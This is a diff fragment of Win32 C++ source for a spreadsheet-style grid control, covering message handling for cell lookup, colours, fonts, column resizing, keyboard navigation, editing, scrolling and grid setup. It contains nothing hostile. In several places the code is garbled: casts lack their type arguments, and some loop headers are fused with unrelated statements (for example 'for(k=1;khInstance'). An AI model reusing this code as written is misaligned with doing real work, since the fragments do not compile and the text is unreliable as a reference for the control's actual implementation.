BGM_GETTYPE: + LPBGcell=(_BGCELL*)wParam; + if(OutOfRange(LPBGcell)) + { + wParam=MAKEWPARAM((UINT)GetMenu(hWnd),BGN_OUTOFRANGE); + lParam = 0; + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + ReturnValue = -1; + break; + } + wsprintf(buffer, TEXT("%05d-%03d"),LPBGcell->row,LPBGcell->col); + //see if that cell is already loaded + FindResult = BinarySearchListBox(BGHS[SelfIndex].hlist1,buffer); + if(FindResult != LB_ERR) + { + //it was found, get it + SendMessage(BGHS[SelfIndex].hlist1, LB_GETTEXT, FindResult, reinterpret_cast(buffer)); + switch (buffer[11]) + { + case 'A':ReturnValue=1;break; + case 'N':ReturnValue=2;break; + case 'T':ReturnValue=3;break; + case 'F':ReturnValue=4;break; + case 'G':ReturnValue=5;break; + default: ReturnValue =1;break; + } + } + break; + case BGM_GETPROTECTION: + LPBGcell=(_BGCELL*)wParam; + if(OutOfRange(LPBGcell)) + { + wParam=MAKEWPARAM((UINT)GetMenu(hWnd),BGN_OUTOFRANGE); + lParam = 0; + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + ReturnValue = -1; + break; + } + wsprintf(buffer, TEXT("%05d-%03d"),LPBGcell->row,LPBGcell->col); + //see if that cell is already loaded + ReturnValue = 0; + FindResult = BinarySearchListBox(BGHS[SelfIndex].hlist1,buffer); + if(FindResult != LB_ERR) + { + //it was found, get it + SendMessage(BGHS[SelfIndex].hlist1, LB_GETTEXT, FindResult, reinterpret_cast(buffer)); + switch (buffer[10]) + { + case 'U':ReturnValue=0;break; + case 'P':ReturnValue=1;break; + default: ReturnValue =0;break; + } + } + + break; + case BGM_SETROWHEIGHT: + if(wParam <1){wParam=1;} + BGHS[SelfIndex].rowheight = static_cast(wParam); + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SizeGrid(hWnd,SelfIndex); + + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_SETTITLEHEIGHT: + if(wParam<0){wParam =0;} + BGHS[SelfIndex].titleheight = static_cast(wParam); + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + case BGM_SETGRIDLINECOLOR: + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].gridlinecolor = (COLORREF)wParam; + DrawCursor(hWnd,SelfIndex); + RefreshGrid(hWnd); + break; + + case BGM_SETCURSORCOLOR: + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorcolor = (COLORREF)wParam; + DrawCursor(hWnd,SelfIndex); + RefreshGrid(hWnd); + break; + + case BGM_SETHILIGHTTEXTCOLOR: + BGHS[SelfIndex].highlighttextcolor = (COLORREF)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_SETHILIGHTCOLOR: + BGHS[SelfIndex].highlightcolor = (COLORREF)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_SETHILIGHTCOLOR_NOFOCUS: + BGHS[SelfIndex].highlightcolorNoFocus = (COLORREF)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_SETHILIGHTCOLOR_PROTECT: + BGHS[SelfIndex].highlightcolorProtect = (COLORREF)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_SETHILIGHTCOLOR_PROTECT_NOFOCUS: + BGHS[SelfIndex].highlightcolorProtectNoFocus = (COLORREF)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_SETPROTECTCOLOR: + BGHS[SelfIndex].protectcolor = (COLORREF)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + case BGM_SETUNPROTECTCOLOR: + BGHS[SelfIndex].unprotectcolor = (COLORREF)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_SETELLIPSIS: + BGHS[SelfIndex].ELLIPSIS = (BOOL)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + + break; + + + case BGM_SETTITLEFONT: + BGHS[SelfIndex].htitlefont = (HFONT)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + + break; + + case BGM_SETHEADINGFONT: + BGHS[SelfIndex].hcolumnheadingfont = (HFONT)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + + break; + + + + + case BGM_SETROWSNUMBERED: + BGHS[SelfIndex].ROWSNUMBERED = (BOOL)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + + break; + + case BGM_SETCOLSNUMBERED: + BGHS[SelfIndex].COLUMNSNUMBERED = (BOOL)wParam; + { + RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + + break; + + case WM_ENABLE: + if(wParam == FALSE) + { + BGHS[SelfIndex].textcolor = RGB(120,120,120); + } + else + { + BGHS[SelfIndex].textcolor = RGB(0,0,0); + } + + case WM_MOUSEMOVE: + int x,y,r,c,t,z; + x=LOWORD(lParam); + y=HIWORD(lParam); + r=GetRowOfMouse(SelfIndex,y); + c=GetColOfMouse(SelfIndex,x); + t=GetColOfMouse(SelfIndex,x+10); + z=GetColOfMouse(SelfIndex,x-10); + + if(BGHS[SelfIndex].COLUMNSIZING) + { + int dx,nx,cr; + dx=x-BGHS[SelfIndex].columntoresizeinitx; + nx=BGHS[SelfIndex].columntoresizeinitsize + dx; + if(nx<=0){nx=0;} + cr=BGHS[SelfIndex].columntoresize; + SendMessage(hWnd,BGM_SETCOLWIDTH,cr,nx); + + } + if((r==0)&&(c>=-1)&&((t!=c)||(z!=c))&&(!BGHS[SelfIndex].COLUMNSIZING)) + { + if((BGHS[SelfIndex].cursortype != 2)&&(BGHS[SelfIndex].ALLOWCOLUMNRESIZING)) + { + BGHS[SelfIndex].cursortype = 2; + SetCursor(LoadCursor(NULL, IDC_SIZEWE)); + } + + } + else + { + if((BGHS[SelfIndex].cursortype != 1)&&(!BGHS[SelfIndex].COLUMNSIZING)) + { + BGHS[SelfIndex].cursortype = 1; + SetCursor(LoadCursor(NULL, IDC_ARROW)); + } + } + break; + + case WM_LBUTTONUP: + if(BGHS[SelfIndex].COLUMNSIZING) + { + BGHS[SelfIndex].COLUMNSIZING = FALSE; + SetCursor(LoadCursor(NULL, IDC_ARROW)); + BGHS[SelfIndex].cursortype = 1; + BGHS[SelfIndex].SHOWINTEGRALROWS=BGHS[SelfIndex].REMEMBERINTEGRALROWS; + SizeGrid(hWnd,SelfIndex); + } + break; + + case WM_RBUTTONUP : + case WM_LBUTTONDBLCLK : + case WM_LBUTTONDOWN: + { + int x,y,r,c; + //check for column sizing + if(BGHS[SelfIndex].cursortype == 2) + { + int c,x,t,z; + //start column sizing + if(!BGHS[SelfIndex].COLUMNSIZING) + { + BGHS[SelfIndex].REMEMBERINTEGRALROWS = BGHS[SelfIndex].SHOWINTEGRALROWS; + } + BGHS[SelfIndex].COLUMNSIZING = TRUE; + BGHS[SelfIndex].SHOWINTEGRALROWS = FALSE; + x=LOWORD(lParam); + BGHS[SelfIndex].columntoresizeinitx=x; + t=GetColOfMouse(SelfIndex,x+10); + z=GetColOfMouse(SelfIndex,x-10); + c=GetColOfMouse(SelfIndex,x); + if(t!=c) + { + //resizing column c + BGHS[SelfIndex].columntoresize = c; + } + if(z!=c) + { + //resizing hidden column to the left of cursor + if(c==-1) + { + c = static_cast(SendMessage(hWnd, BGM_GETCOLS, 0, 0)); + } + else + { + c-=1; + } + BGHS[SelfIndex].columntoresize = c; + } + + BGHS[SelfIndex].columntoresizeinitsize = BGHS[SelfIndex].columnwidths[c]; + } + + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + else + { + + SetFocus(hWnd); + } + BOOL NRC,NCC; + NRC=FALSE; + NCC=FALSE; + + if(GetFocus()==hWnd) + { + + x=LOWORD(lParam); + y=HIWORD(lParam); + r=GetRowOfMouse(SelfIndex,y); + c=GetColOfMouse(SelfIndex,x); + DrawCursor(hWnd,SelfIndex); + if((r>0)&&(c>0)) + { + if(r != BGHS[SelfIndex].cursorrow) + { + BGHS[SelfIndex].cursorrow = r; + NRC=TRUE; + } + else + { + BGHS[SelfIndex].cursorrow = r; + } + if(c != BGHS[SelfIndex].cursorcol) + { + BGHS[SelfIndex].cursorcol = c; + NCC=TRUE; + } + else + { + BGHS[SelfIndex].cursorcol = c; + } + + } + if(NRC){NotifyRowChanged(hWnd,SelfIndex);} + if(NCC){NotifyColChanged(hWnd,SelfIndex);} + + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + + if (message == WM_LBUTTONDOWN) + NotifyCellClicked(hWnd,SelfIndex); + else if (message == WM_LBUTTONDBLCLK) + NotifyCellDbClicked(hWnd,SelfIndex); + else // (message == WM_RBUTTONUP) + NotifyCellRClicked(hWnd,SelfIndex); + } + else + { + SetFocus(hWnd); + } + } + break; + + case WM_ERASEBKGND: + return TRUE; + break; + + case WM_GETDLGCODE: + + ReturnValue = DLGC_WANTARROWS|DLGC_WANTCHARS|DLGC_DEFPUSHBUTTON; + if(wParam == 13) + { + NotifyCellDbClicked(hWnd, SelfIndex); + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + BGHS[SelfIndex].EDITING = FALSE; + break; + } + + if(wParam == VK_ESCAPE) + { + if(BGHS[SelfIndex].EDITING) + { + BGHS[SelfIndex].EDITING = FALSE; + lstrcpy(BGHS[SelfIndex].editstring, TEXT("")); + HideCaret(hWnd); + RefreshGrid(hWnd); + NotifyEditEnd(hWnd,SelfIndex); + } + else + { + ReturnValue = 0; + } + break; + } + break; + case WM_KEYDOWN: + + if(wParam == VK_ESCAPE) + { + if(BGHS[SelfIndex].EDITING) + { + BGHS[SelfIndex].EDITING = FALSE; + lstrcpy(BGHS[SelfIndex].editstring, TEXT("")); + HideCaret(hWnd); + RefreshGrid(hWnd); + NotifyEditEnd(hWnd,SelfIndex); + } + break; + } +/* + if(wParam == VK_F1) + { + NotifyF1(hWnd,SelfIndex); + break; + } + + if(wParam == VK_F2) + { + NotifyF2(hWnd,SelfIndex); + break; + } + if(wParam == VK_F3) + { + NotifyF3(hWnd,SelfIndex); + break; + } + if(wParam == VK_F4) + { + NotifyF4(hWnd,SelfIndex); + break; + } + if(wParam == VK_F5) + { + NotifyF5(hWnd,SelfIndex); + break; + } + if(wParam == VK_F6) + { + NotifyF6(hWnd,SelfIndex); + break; + } + if(wParam == VK_F7) + { + NotifyF7(hWnd,SelfIndex); + break; + } + if(wParam == VK_F8) + { + NotifyF8(hWnd,SelfIndex); + break; + } + if(wParam == VK_F9) + { + NotifyF9(hWnd,SelfIndex); + break; + } + if(wParam == VK_F10) + { + NotifyF10(hWnd,SelfIndex); + break; + } + if(wParam == VK_F11) + { + NotifyF11(hWnd,SelfIndex); + break; + } + if(wParam == VK_F12) + { + NotifyF12(hWnd,SelfIndex); + break; + } +*/ + if(wParam == VK_DELETE) + { + NotifyDelete(hWnd,SelfIndex); + break; + } + if(wParam == VK_TAB) + { + SetFocus(GetParent(hWnd)); + break; + } + if(wParam == VK_NEXT) + { + RECT gridrect; + int rpp; + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + + if(BGHS[SelfIndex].rows == 0){break;} + if(BGHS[SelfIndex].cursorrow == BGHS[SelfIndex].rows){break;} + //get rows per page + GetClientRect(hWnd,&gridrect); + rpp = (gridrect.bottom - (BGHS[SelfIndex].headerrowheight+BGHS[SelfIndex].titleheight))/BGHS[SelfIndex].rowheight; + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorrow += rpp; + + if(BGHS[SelfIndex].cursorrow > BGHS[SelfIndex].rows) + { + BGHS[SelfIndex].cursorrow = BGHS[SelfIndex].rows; + } + NotifyRowChanged(hWnd,SelfIndex); + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + break; + + } + if(wParam == VK_PRIOR) + { + RECT gridrect; + int rpp; + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + + if(BGHS[SelfIndex].rows == 0){break;} + if(BGHS[SelfIndex].cursorrow == 1){break;} + //get rows per page + GetClientRect(hWnd,&gridrect); + rpp = (gridrect.bottom - (BGHS[SelfIndex].headerrowheight+BGHS[SelfIndex].titleheight))/BGHS[SelfIndex].rowheight; + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorrow -= rpp; + if(BGHS[SelfIndex].cursorrow < 1) + { + BGHS[SelfIndex].cursorrow = 1; + } + NotifyRowChanged(hWnd,SelfIndex); + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + break; + } + if(wParam == VK_DOWN) + { + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + + if(BGHS[SelfIndex].rows == 0){break;} + if(BGHS[SelfIndex].cursorrow == BGHS[SelfIndex].rows){break;} + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorrow ++; + if(BGHS[SelfIndex].cursorrow > BGHS[SelfIndex].rows) + { + BGHS[SelfIndex].cursorrow = BGHS[SelfIndex].rows; + } + else + { + NotifyRowChanged(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + break; + } + if(wParam == VK_UP) + { + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + + if(BGHS[SelfIndex].rows == 0){break;} + if(BGHS[SelfIndex].cursorrow == 1){break;} + + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorrow --; + if(BGHS[SelfIndex].cursorrow < 1) + { + BGHS[SelfIndex].cursorrow = 1; + } + else + { + NotifyRowChanged(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + break; + } + + if(wParam == VK_LEFT) + { + int k; + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + + if(!GetNextColWithWidth(SelfIndex,BGHS[SelfIndex].cursorcol,-1)) + { + break; + } + DrawCursor(hWnd,SelfIndex); + k=GetNextColWithWidth(SelfIndex,BGHS[SelfIndex].cursorcol,-1); + if(k) + { + BGHS[SelfIndex].cursorcol = k; + NotifyColChanged(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + break; + } + + if(wParam == VK_RIGHT) + { + int k; + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + k=GetNextColWithWidth(SelfIndex,BGHS[SelfIndex].cursorcol,1); + if(k) + { + BGHS[SelfIndex].cursorcol = k; + NotifyColChanged(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + break; + } + + SetCurrentCellStatus(hWnd,SelfIndex); + + + + if((BGHS[SelfIndex].CURRENTCELLPROTECTED)&&(wParam == 13)) + + { + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorrow ++; + if(BGHS[SelfIndex].cursorrow > BGHS[SelfIndex].rows) + { + BGHS[SelfIndex].cursorrow = BGHS[SelfIndex].rows; + } + else + { + NotifyRowChanged(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + break; + } + + if(BGHS[SelfIndex].CURRENTCELLPROTECTED){break;} + + if(!BGHS[SelfIndex].EDITABLE) + { + int ascii; + ascii=GetASCII(wParam,lParam); + if(ascii == 13) //enter pressed, treat as arrow down + { + //same as arrow down + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorrow ++; + if(BGHS[SelfIndex].cursorrow > BGHS[SelfIndex].rows) + { + BGHS[SelfIndex].cursorrow = BGHS[SelfIndex].rows; + } + else + { + NotifyRowChanged(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + break; + + } + + } + + //if it's not an arrow key, make an edit box in the active cell rectangle + if((BGHS[SelfIndex].EDITABLE)&&(BGHS[SelfIndex].rows > 0)) + { + + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + DrawCursor(hWnd,SelfIndex); + DrawCursor(hWnd,SelfIndex); + + { + int ascii; + ascii=GetASCII(wParam,lParam); + wParam = ascii; + if((wParam >= 32)&&(wParam <= 125)) + { + TCHAR tstring[2]; + if(!BGHS[SelfIndex].EDITING) + { + NotifyEditBegin(hWnd,SelfIndex); + } + BGHS[SelfIndex].EDITING = TRUE; + tstring[0]= (TCHAR)wParam; + tstring[1]=0x00; + DisplayEditString(hWnd,SelfIndex,tstring); + break; + } + if(wParam == 8) //backspace + { + if(!BGHS[SelfIndex].EDITING) + { + NotifyEditBegin(hWnd,SelfIndex); + } + + BGHS[SelfIndex].EDITING = TRUE; + if(lstrlen(BGHS[SelfIndex].editstring)==0) + { + DisplayEditString(hWnd,SelfIndex, TEXT("")); + break; + } + else + { + int j; + j=lstrlen(BGHS[SelfIndex].editstring); + BGHS[SelfIndex].editstring[j-1]=0x00; + DisplayEditString(hWnd,SelfIndex, TEXT("")); + } + break; + } + if(wParam == 13) + { + //same as arrow down + if(BGHS[SelfIndex].EDITING) + { + CloseEdit(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + BGHS[SelfIndex].cursorrow ++; + if(BGHS[SelfIndex].cursorrow > BGHS[SelfIndex].rows) + { + BGHS[SelfIndex].cursorrow = BGHS[SelfIndex].rows; + } + else + { + NotifyRowChanged(hWnd,SelfIndex); + } + DrawCursor(hWnd,SelfIndex); + //SetCurrentCellStatus(hWnd,SelfIndex); //redundant + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + BGHS[SelfIndex].EDITING = FALSE; + break; + } + } + } + break; + case WM_HSCROLL: + SetFocus(hWnd); + if((LOWORD(wParam==SB_LINERIGHT))||(LOWORD(wParam)==SB_PAGERIGHT)) + { + int cp,np; + cp=GetScrollPos(hWnd,SB_HORZ); + SetScrollPos(hWnd,SB_HORZ,cp+1,TRUE); + cp=GetScrollPos(hWnd,SB_HORZ); + np=GetNthVisibleColumn(hWnd,SelfIndex,cp); + BGHS[SelfIndex].homecol = np; + SetScrollPos(hWnd,SB_HORZ,cp,TRUE); + RefreshGrid(hWnd); + } + if((LOWORD(wParam==SB_LINELEFT))||(LOWORD(wParam)==SB_PAGELEFT)) + { + int cp,np; + cp=GetScrollPos(hWnd,SB_HORZ); + SetScrollPos(hWnd,SB_HORZ,cp-1,TRUE); + cp=GetScrollPos(hWnd,SB_HORZ); + np=GetNthVisibleColumn(hWnd,SelfIndex,cp); + BGHS[SelfIndex].homecol = np; + SetScrollPos(hWnd,SB_HORZ,cp,TRUE); + RefreshGrid(hWnd); + } + if(LOWORD(wParam)==SB_THUMBTRACK) + { + int cp,np; + cp=HIWORD(wParam); + np=GetNthVisibleColumn(hWnd,SelfIndex,cp); + SetScrollPos(hWnd,SB_HORZ,np,TRUE); + BGHS[SelfIndex].homecol = np; + SetScrollPos(hWnd,SB_HORZ,cp,TRUE); + RefreshGrid(hWnd); + } + + + break; + + case WM_MOUSEWHEEL : + { + short zDelta = (short) HIWORD(wParam); + ::SendMessage(hWnd, WM_VSCROLL, zDelta < 0?SB_LINEDOWN:SB_LINEUP, 0); + return TRUE; + } + + case WM_VSCROLL: + SetFocus(hWnd); + if(LOWORD(wParam)==SB_THUMBTRACK) + { + RECT gridrect; + int min,max; + BGHS[SelfIndex].homerow = HIWORD(wParam); + SetScrollPos(hWnd,SB_VERT,HIWORD(wParam),TRUE); + GetClientRect(hWnd,&gridrect); + GetScrollRange(hWnd,SB_VERT,&min,&max); + if(HIWORD(wParam)==max) + { + gridrect.top = gridrect.bottom - (BGHS[SelfIndex].rowheight); + InvalidateRect(hWnd,&gridrect,TRUE); + } + else + { + InvalidateRect(hWnd,&gridrect,FALSE); + } + } + + if(LOWORD(wParam)==SB_PAGEDOWN) + { + RECT gridrect; + int min,max,sp,rpp; + //get rows per page + GetClientRect(hWnd,&gridrect); + rpp = (gridrect.bottom - (BGHS[SelfIndex].headerrowheight+BGHS[SelfIndex].titleheight))/BGHS[SelfIndex].rowheight; + GetScrollRange(hWnd,SB_VERT,&min,&max); + sp=GetScrollPos(hWnd,SB_VERT); + sp += rpp; + if(sp > max){sp=max;} + BGHS[SelfIndex].homerow = sp; + SetScrollPos(hWnd,SB_VERT,sp,TRUE); + SetHomeRow(hWnd,SelfIndex,sp,BGHS[SelfIndex].homecol); + if(sp==max) + { + gridrect.top = gridrect.bottom - (BGHS[SelfIndex].rowheight); + InvalidateRect(hWnd,&gridrect,TRUE); + } + else + { + InvalidateRect(hWnd,&gridrect,FALSE); + } + + } + if(LOWORD(wParam)==SB_LINEDOWN) + { + RECT gridrect; + int min,max,sp; + //get rows per page + GetClientRect(hWnd,&gridrect); + GetScrollRange(hWnd,SB_VERT,&min,&max); + sp=GetScrollPos(hWnd,SB_VERT); + sp += 1; + if(sp > max){sp=max;} + BGHS[SelfIndex].homerow = sp; + SetScrollPos(hWnd,SB_VERT,sp,TRUE); + SetHomeRow(hWnd,SelfIndex,sp,BGHS[SelfIndex].homecol); + if(sp==max) + { + gridrect.top = gridrect.bottom - (BGHS[SelfIndex].rowheight); + InvalidateRect(hWnd,&gridrect,TRUE); + } + else + { + InvalidateRect(hWnd,&gridrect,FALSE); + } + + } + + + + if(LOWORD(wParam)==SB_PAGEUP) + { + RECT gridrect; + int min,max,sp,rpp; + //get rows per page + GetClientRect(hWnd,&gridrect); + rpp = (gridrect.bottom - (BGHS[SelfIndex].headerrowheight+BGHS[SelfIndex].titleheight))/BGHS[SelfIndex].rowheight; + GetScrollRange(hWnd,SB_VERT,&min,&max); + sp=GetScrollPos(hWnd,SB_VERT); + sp -= rpp; + if(sp < 1){sp=1;} + BGHS[SelfIndex].homerow = sp; + SetScrollPos(hWnd,SB_VERT,sp,TRUE); + SetHomeRow(hWnd,SelfIndex,sp,BGHS[SelfIndex].homecol); + if(sp==max) + { + gridrect.top = gridrect.bottom - (BGHS[SelfIndex].rowheight); + InvalidateRect(hWnd,&gridrect,TRUE); + } + else + { + InvalidateRect(hWnd,&gridrect,FALSE); + } + + } + if(LOWORD(wParam)==SB_LINEUP) + { + RECT gridrect; + int min,max,sp; + //get rows per page + GetClientRect(hWnd,&gridrect); + sp=GetScrollPos(hWnd,SB_VERT); + GetScrollRange(hWnd,SB_VERT,&min,&max); + sp -= 1; + if(sp < 1){sp=1;} + BGHS[SelfIndex].homerow = sp; + SetScrollPos(hWnd,SB_VERT,sp,TRUE); + SetHomeRow(hWnd,SelfIndex,sp,BGHS[SelfIndex].homecol); + if(sp==max) + { + gridrect.top = gridrect.bottom - (BGHS[SelfIndex].rowheight); + InvalidateRect(hWnd,&gridrect,TRUE); + } + else + { + InvalidateRect(hWnd,&gridrect,FALSE); + } + + } + RefreshGrid(hWnd); + + break; + case WM_DESTROY: + { int k; + if(CountGrids()==0) + { + DeleteObject(hfontbody); + DeleteObject(hfontheader); + DeleteObject(hfonttitle); + } + SendMessage(BGHS[SelfIndex].hlist1,LB_RESETCONTENT,0,0); + DestroyWindow(BGHS[SelfIndex].hlist1); + BGHS[SelfIndex].gridmenu = 0; + BGHS[SelfIndex].hlist1 = NULL; + BGHS[SelfIndex].hfont = NULL; + lstrcpy(BGHS[SelfIndex].protect, TEXT("U")); + BGHS[SelfIndex].rows = 100; + BGHS[SelfIndex].cols = 255; + BGHS[SelfIndex].homerow = 1; + BGHS[SelfIndex].homecol = 1; + BGHS[SelfIndex].rowheight = 20; + BGHS[SelfIndex].headerrowheight = 20; + BGHS[SelfIndex].ROWSNUMBERED = TRUE; + BGHS[SelfIndex].COLUMNSNUMBERED = TRUE; + BGHS[SelfIndex].DRAWHIGHLIGHT = TRUE; + + BGHS[SelfIndex].cursorcol = 1; + BGHS[SelfIndex].cursorrow = 1; + BGHS[SelfIndex].columnwidths[0]=40; + BGHS[SelfIndex].ADVANCEROW = TRUE; + BGHS[SelfIndex].cursorcolor = RGB(255,255,255); + BGHS[SelfIndex].protectcolor = RGB(128,128,128); + BGHS[SelfIndex].unprotectcolor = RGB(255,255,255); + for(k=1;khInstance; + + + BG_GridIndex = AddGrid((UINT)GetMenu(hWnd)); + + if(CountGrids()==1) + { + hfontbody=CreateFont(16,0,0, 0, + 100, + FALSE, + FALSE,FALSE,DEFAULT_CHARSET, + OUT_DEFAULT_PRECIS, + CLIP_DEFAULT_PRECIS, + 0, + 0 , + TEXT("MS Shell Dlg")); + hfontheader=CreateFont(18,0,0, 0,FW_HEAVY,FALSE,FALSE,FALSE,DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, 0, 0, TEXT("MS Shell Dlg")); + hfonttitle=CreateFont(20,0,0, 0,FW_HEAVY,FALSE,FALSE,FALSE,DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, 0, 0, TEXT("MS Shell Dlg")); + } + + + if((BG_GridIndex >= 0)&&(BG_GridIndex < MAX_GRIDS))//if you aren't over the MAX_GRIDS limit, add a grid + { + + BGHS[BG_GridIndex].gridmenu = (UINT)GetMenu(hWnd); + + BGHS[BG_GridIndex].hlist1=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("LISTBOX"), TEXT(""), + WS_CHILD|LBS_STANDARD,50,150,200,100,hWnd,NULL,hInst,NULL); + + BGHS[BG_GridIndex].hfont = hfontbody; + BGHS[BG_GridIndex].htitlefont = hfonttitle; + BGHS[BG_GridIndex].hcolumnheadingfont = hfontheader; + lstrcpy(BGHS[BG_GridIndex].title,lpcs->lpszName); + SendMessage(hWnd, WM_SETTEXT, 0, reinterpret_cast(lpcs->lpszName)); + + + } + if(BG_GridIndex == -1) + { + DestroyWindow(hWnd); + } + break; + default: + return DefWindowProc(hWnd, message, wParam, lParam); + } + return ReturnValue; +} + +int CountGrids() + { + int j,count; + count=0; + for(j=0;j= 0)) + { + BGHS[empty_space].gridmenu = menuid; + returnvalue=empty_space; + } + if(MATCH) + { + return returnvalue+MAX_GRIDS; + } + 